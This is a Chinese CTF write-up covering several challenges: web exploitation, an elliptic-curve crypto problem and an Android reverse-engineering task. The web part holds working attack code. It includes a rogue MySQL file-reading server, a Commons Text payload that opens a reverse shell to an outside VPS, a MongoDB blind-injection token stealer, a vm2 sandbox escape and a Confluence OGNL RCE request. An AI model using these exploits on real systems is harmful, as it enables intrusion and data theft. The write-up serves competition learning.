0x1 羊了拼羊
签到题。js代码搜索ctf找到flag
Mysql恶意服务器读取文件的漏洞。可构建一个恶意的myql服务器读取靶机上的/flag文件。在github找到注册恶意mysql服务器的脚本，修改脚本中读取的文件为/flag。
#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.INFO)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler(tmp_format)filelist = ('/flag',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize():import os, warningsif os.name != 'posix':warnings.warn('Cant create daemon on non-posix system')returnif os.fork(): os._exit(0)os.setsid()if os.fork(): os._exit(0)os.umask(0o022)null=os.open('/dev/null', os.O_RDWR)for i in xrange(3):try:os.dup2(null, i)except OSError as e:if e.errno != 9: raiseos.close(null)class LastPacket(Exception):passclass OutOfOrder(Exception):passclass mysql_packet(object):packet_header = struct.Struct('<Hbb')packet_header_long = struct.Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, mysql_packet):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)else:header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)result = "{0}{1}".format(header,self.payload)return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = ord(raw_data[0])payload = raw_data[1:]return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat):def __init__(self, addr):asynchat.async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.state = 'LEN'self.sub_state = 'Auth'self.logined = Falseself.push(mysql_packet(0,"".join(('\x0a', # Protocol'5.6.28-0ubuntu0.14.04.1' + '\0','\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',)) ))self.order = 1self.states = ['LOGIN', 'CAPS', 'ANY']def push(self, data):log.debug('Pushed: %r', data)data = str(data)asynchat.async_chat.push(self, data)def collect_incoming_data(self, data):log.debug('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = "".join(self.ibuffer)self.ibuffer = []if self.state == 'LEN':len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = 'Data'else:self.state = 'MoreLength'elif self.state == 'MoreLength':if data[0] != '\0':self.push(None)self.close_when_done()else:self.state = 'Data'elif self.state == 'Data':packet = mysql_packet.parse(data)try:if self.order != packet.packet_num:raise OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == '\x03':log.info('Query')filename = random.choice(filelist)PACKET = mysql_packet(packet,'\xFB{0}'.format(filename))self.set_terminator(3)self.state = 'LEN'self.sub_state = 'File'self.push(PACKET)elif packet.payload[0] == '\x1b':log.info('SelectDB')self.push(mysql_packet(packet,'\xfe\x00\x00\x02\x00'))raise LastPacket()elif packet.payload[0] in '\x02':self.push(mysql_packet(packet, '\0\0\0\x02\0\0\0'))raise LastPacket()elif packet.payload == '\x00\x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == 'File':log.info('-- result')log.info('Result: %r', data)if len(data) == 1:self.push(mysql_packet(packet, '\0\0\0\x02\0\0\0'))raise LastPacket()else:self.set_terminator(3)self.state = 'LEN'self.order = packet.packet_num + 1elif self.sub_state == 'Auth':self.push(mysql_packet(packet, '\0\0\0\x02\0\0\0'))raise LastPacket()else:log.info('-- else')raise ValueError('Unknown packet')except LastPacket:log.info('Last packet')self.state = 'LEN'self.sub_state = Noneself.order = 0self.set_terminator(3)except OutOfOrder:log.warning('Out of order')self.push(None)self.close_when_done()else:log.error('Unknown state')self.push('None')self.close_when_done()class mysql_listener(asyncore.dispatcher):def __init__(self, sock=None):asyncore.dispatcher.__init__(self, sock)if not sock:self.create_socket(socket.AF_INET, socket.SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', PORT))except socket.error:exit()self.listen(5)def handle_accept(self):pair = self.accept()if pair is not None:log.info('Conn from: %r', pair[1])tmp = http_request_handler(pair)z = mysql_listener()# daemonize()asyncore.loop()
在vps上开启恶意mysql服务器，在web页面填写恶意服务器地址，在vps的mysql.log即可读取flag。
thinkphp6 多语言文件包含漏洞。
写入webshell
蚁剑连接
readflag
Apache Commons Text远程代码执行漏洞。通过分析可知，后端做了一些黑名单策略。不允许出现script、file等字符串。
base64函数可用，编码后能被执行，但无回显
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}对如下payload进行base64加密：
${script:js:java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vps_ip/2333 0>&1")}反弹shell成功
readflag
默认账号密码 [email protected]/ymfe.org。先尝试了一下添加接口高级Mock脚本命令执行，没成功。
尝试mongodb注入获取token，从而实现vm逃逸。
先盲注获得token：
import requeststokenletter = "0123456789abcedf"url1 = "http://47.98.161.119:9090/api/project/get"token = ""for i in range(16):for j in tokenletter:body = {"token":{"$regex":"^" + token + j}}resp = requests.get(url=url1,json=body,verify=False)if "406" in resp.text:print(body)token += jprint(token)#8fa743801266b2391d16
得到token为8fa743801266b2391d16。
aes192加密token得到uidtoken，遍历id发现id=11时有数据
写脚本获取加密后的uidtoken
const crypto = require('crypto');uid = "11"token = "8fa743801266b2391d16"data = uid + "|" + tokenpassword = "abcde"// 如下方法使用指定的算法与密码来创建cipher对象const cipher = crypto.createCipher('aes192', password);// 使用该对象的update方法来指定需要被加密的数据let crypted = cipher.update(data, 'utf-8', 'hex');crypted += cipher.final('hex');console.log(crypted)
得到加密后的token为：
043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc接着上传vm逃逸脚本
import requestsimport retoken = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"url = f'http://47.98.161.119:9090/api/project/up?token={token}'headers = {"content-type":"application/json"}vm2Script = """const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("/readflag").toString()context.responseData = 'testtest' + mockJson + 'testtest'console.log(responseData)"""body_json = {"id":11,"pre_script":"","after_script":vm2Script}print(body_json)id = 1while id:body_json["id"] = id ## 项目id 需要枚举resp = requests.post(url=url,headers=headers,json=body_json)print(resp.status_code)print(resp.text)if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):print("[*] pre-response 脚本上传成功")id = Falseelse:print("[*] pre-response 脚本上传失败")id+=1#id=66时成功
最后触发漏洞得到flag
import requestsimport retoken = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"id = 1while id:url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'resp = requests.get(url=url)if re.search("YAPI",resp.text) and re.search("",resp.text):print("[*] 命令执行成功")# print(url)print("===")print(id)print(re.search("testtest[\s\S]*testtest",resp.text)[0])id = Falsebreakprint(url)id += 1exit()
Atlassian Confluence远程代码执行漏洞
payload如下：
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1本题为椭圆曲线求解问题。当u=w时，3*u*w + 4*u + 1 = 3u^2 + 4u + 1，从而可以知道椭圆曲线公式为：y^2 = x^3 + 2x^2 + x + C，带入点（4,10），可得C=0，即椭圆曲线公式为：y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2，为奇异椭圆曲线，根据其性质，可将奇异椭圆曲线上的点构成的群映射到有限域上的乘法群中。
在github找了一个现成的脚本，将点P(4,10)和加密后的点Q映射到有限域上的数mapP、mapQ，从而将椭圆曲线求解转化为有限域上的离散对数求解，使用sage可解得x。
p = 193387944202565886198256260591909756041PP = PolynomialRing(GF(p), 'x')x = PP.gens()[0]f = x^3 + 2*x^2 + xf_ = f.subs(x=x-1)root = f_.factor()[0][0][0]def trans(P):P_ = (P[0] +1, P[1])t = GF(p)(root).square_root()res = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % preturn resmapP = trans((4, 10))mapQ = trans((65639504587209705872811542111125696405, 125330437930804525313353306745824609665))print(mapQ.log(mapP))
用求出的x解密发现flag乱码，考虑到可能存在多解情况，尝试不同的x进行AES解密，最后得到flag。
#!/usr/bin/env python3# coding=utf-8from Crypto.Cipher import AESp = 193387944202565886198256260591909756041ctext = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')def test(x):aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))flag = aes.decrypt(ctext)if b'rwctf' in flag:print(flag)x = 4470735776084208177429085432176719338while x < p:test(x)x += (p-1) // 4
使用jeb逆向分析发现本程序为贪吃蛇游戏，蛇的每一截身体都是一个从资源列表中选取的png图像。一开始为随机图像，蛇超过一定长度后开始新增固定图像。固定图像共22个，每次从17个图像中选取（b0.png~b16.png，为17个ASCII字符的图像）。
所选图像的下标通过一段brainfuck代码计算得到，brainfuck关键代码如下：
该brainfuck代码将'['、']'和'<'、'>'字符的含义进行了交换。模拟执行该代码得到23个数，根据程序逻辑去掉第一个，剩下的22个即为下标，以此选取对应的字母图像，组合得到的字符串，再以rwctf{}包上即为flag：rwctf{K33PG01NGD0N0TG1V3UPPP}。
文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&mid=2247484322&idx=1&sn=325181b272eec229da7b236941a473c3&chksm=cecc6b23f9bbe235ab3b4846105199e7af2b5ef75625fd3dc71892ef235dd5124811134a4cec&scene=58&subscene=0#rd
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